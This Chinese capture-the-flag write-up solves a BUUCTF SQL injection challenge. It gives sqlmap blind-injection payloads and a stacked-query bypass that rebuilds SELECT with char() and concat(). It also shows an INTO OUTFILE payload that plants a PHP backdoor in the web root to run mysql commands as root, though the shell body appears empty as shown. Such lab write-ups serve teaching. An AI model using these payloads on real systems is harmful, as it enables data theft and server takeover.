【Writeup】BUUCTF_Web_随便注

0x01 解题思路

  • 打开页面,显然考点是SQL注入:

在这里插入图片描述

  • 手工测试一下:

​ ​ ?inject='

在这里插入图片描述

​ ​ ?inject=' or 1#

【Writeup】BUUCTF_Web_随便注_第1张图片

​ ​ ?inject=' or 0#

【Writeup】BUUCTF_Web_随便注_第2张图片

  • 可以进行基于布尔的盲注。注释里有这么一句话:

在这里插入图片描述

  • 先用sqlmap常规扫描试试:
sqlmap identified the following injection point(s) with a total of 87 HTTP(s) requests:
---
Parameter: inject (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: inject=1' AND 7855=7855 AND 'yWjT'='yWjT

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: inject=1' AND SLEEP(5) AND 'ToTd'='ToTd
---
16:33:21] [INFO] retrieved: 10.3.15-MariaDB
web application technology: PHP 7.3.5, OpenResty
back-end DBMS: MySQL >= 5.0.12
banner: '10.3.15-MariaDB'
[16:33:33] [INFO] fetching current user
[16:33:33] [INFO] retrieved: root@localhost
current user: 'root@localhost'
[16:33:42] [INFO] fetching current database
[16:33:42] [INFO] retrieved: supersqli
current database: 'supersqli'
[16:33:49] [INFO] fetching server hostname
[16:33:49] [INFO] retrieved: 869ae49963bb
hostname: '869ae49963bb'
[16:33:59] [INFO] testing if current user is DBA
[16:33:59] [INFO] fetching current user
current user is DBA: False
[16:33:59] [INFO] fetching database users
[16:33:59] [INFO] fetching number of database users
[16:33:59] [INFO] retrieved: 
[16:34:00] [INFO] retrieved: 
  • SQLMAP找到的注入点即为布尔盲注,返回以上信息之后就无法进行了,应该是进行了过滤。尝试一下常用关键词如select:

在这里插入图片描述

  • 过滤了注入常用的关键词。但是尝试一下堆叠注入发现可以

​ ​ ?inject=';show tables;#

【Writeup】BUUCTF_Web_随便注_第3张图片

  • 接下来就是利用堆叠注入能够多次执行语句的特性,想办法绕过过滤,查看表中内容了。

0x02 绕过关键词过滤

​ ​ 关于MySQL中的预处理语句原理与使用,这篇文章讲解的比较详细:MySQL的SQL预处理(Prepared)。本题中由于可以使用堆叠查询,并且需要使用SELECT关键字并绕过过滤,因此想到利用字符串转换与拼接构造语句最后执行,这时就可以使用预处理语句。

  • 预处理语句使用方式:
PREPARE sqla from '[my sql sequece]';   //预定义SQL语句
EXECUTE sqla;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla;  //删除预定义SQL语句
  • 预定义语句也可以通过变量进行传递,比如:
SET @tn = 'hahaha';  //存储表名
SET @sql = concat('select * from ', @tn);  //存储SQL语句
PREPARE sqla from @sql;   //预定义SQL语句
EXECUTE sqla;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla;  //删除预定义SQL语句

​ ​ 本题即可利用char()方法将ASCII码转换为SELECT字符串,接着利用concat()方法进行拼接获得查询的SQL语句,最后执行即可,payload如下:

?inject=';SET @sql=concat(char(115,101,108,101,99,116)," * from `1919810931114514`");PREPARE sqla from @sql;EXECUTE sqla;#

【Writeup】BUUCTF_Web_随便注_第4张图片

0x03 利用命令执行GetFlag

​​ ​ 由于用户是root,所以还可以通过命令执行的方式获取flag:BUUCTF-WEB题解#随便注

​ payload如下:

/?inject=';Set @sql=concat("s","elect '' into outfile '/var/www/html/1",char(46),"php'");PREPARE sqla from @sql;EXECUTE sqla;

/1.php?1=mysql -uroot -proot -e"use supersqli;select flag from \`1919810931114514\`;"
  • 利用concat将select拆分从而绕过关键词select过滤
  • 利用char将ASCII码46转换为.从而绕过关键词.过滤
  • 利用MySQL into outputfile给网站留后门:利用Mysql into outfile给网站留后门(这里猜测绝对路径是一般ubuntu服务器网站根目录/var/www/html
  • 利用一句话木马执行任意mysql命令(反引号中的内容会被当做bash命令执行然后结果再传回来执行)

你可能感兴趣的:(BUUCTF,-,Writeups)